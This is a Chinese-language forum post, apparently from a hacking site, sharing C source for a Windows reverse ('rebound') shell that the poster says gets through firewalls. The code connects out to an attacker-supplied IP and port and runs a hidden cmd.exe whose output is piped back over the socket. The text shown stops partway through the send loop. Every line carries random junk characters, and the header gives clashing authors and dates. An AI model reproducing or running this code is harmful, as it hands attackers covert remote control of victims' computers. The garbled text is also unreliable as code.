这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 d3=6MX[c
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/* ============================== n vpPmc
Rebound port in Windows NT Jv^cOc
By wind,2006/7 G q:4rG|
===============================*/ T~~[a|bLa
#include z5&%T}$tJ
#include g;#KBxE
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#pragma comment(lib,"wsock32.lib") M|5]#2J_2
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void OutputShell(); >+jbMAYSq
SOCKET sClient; acYoOW1G
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; +V);'"L
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void main(int argc,char **argv) xe gL!
{ !E{GcK
WSADATA stWsaData; |Iok(0V
int nRet; PMN2VzE4{
SOCKADDR_IN stSaiClient,stSaiServer; 7hF,gl5
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if(argc != 3) W^d4/]
{ c."bTq4tJ
printf("Useage:\n\rRebound DestIP DestPort\n"); r]JC~{
return; Pm#x?1rAj
} ~r>EF!U`h
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WSAStartup(MAKEWORD(2,2),&stWsaData); #ON#4WD?
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ^M(`/1 :
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stSaiClient.sin_family = AF_INET; ICl_ eb
stSaiClient.sin_port = htons(0); 2Z;`#{
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); mU3Y)
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) '/u:,ar
{ `gt&Y-
printf("Bind Socket Failed!\n"); or%gTVZ
return; >1a\%G
} @W1WReK]f
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stSaiServer.sin_family = AF_INET; %EVV-n@
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); I`"-$99|t1
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); "ji$@b_\?
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) wj#J>C2]
{ .YjrV+om1
printf("Connect Error!"); i{|lsd(+
return; BbXU|QtY
} dI_r:xN
OutputShell(); W7TXI~7
} $h,&b<-
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void OutputShell() Z[})40[M
{ UVT>7
char szBuff[1024]; $(KIB82&
SECURITY_ATTRIBUTES stSecurityAttributes; ?@lx
OSVERSIONINFO stOsversionInfo; M$&WM{Pr^
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; Q3BLL`W~
STARTUPINFO stStartupInfo; zM_DE
char *szShell; x5fgF;
PROCESS_INFORMATION stProcessInformation; ~tg1N^]kV
unsigned long lBytesRead; rw5#e.~V
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); 1!>bhH}{D
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); waXDGdl0
stSecurityAttributes.lpSecurityDescriptor = 0; ~@-QbkC
stSecurityAttributes.bInheritHandle = TRUE; h9<mThvgn
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); q,;".3VQ
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); W$ JY M3!
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); Avs7(-L+s
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; [}A_uOGEP
stStartupInfo.wShowWindow = SW_HIDE; P1)* q0
stStartupInfo.hStdInput = hReadPipe; x1m8~F
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; u}-d7-=
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GetVersionEx(&stOsversionInfo); /'Quu)~
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switch(stOsversionInfo.dwPlatformId) /'&.aGW4%
{ *Nvy+V
case 1: k_*XJ <S!Y
szShell = "command.com"; CF3E]dt
break; j<l#qho{h
default: k
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szShell = "cmd.exe"; -O~C m}e
break; yfSiByU
} DC$7B`#D
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); kf+JM/
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send(sClient,szMsg,77,0); Yw~;g:=
while(1) 6?%]odI#
{ ]PR|d\O
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); o5N]((9
if(lBytesRead) 0M#N=%31
{ K[Yc<Q
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); z3^RUoGU
send(sClient,szBuff,lBytesRead,0); 7XUhJN3n
} VFilF<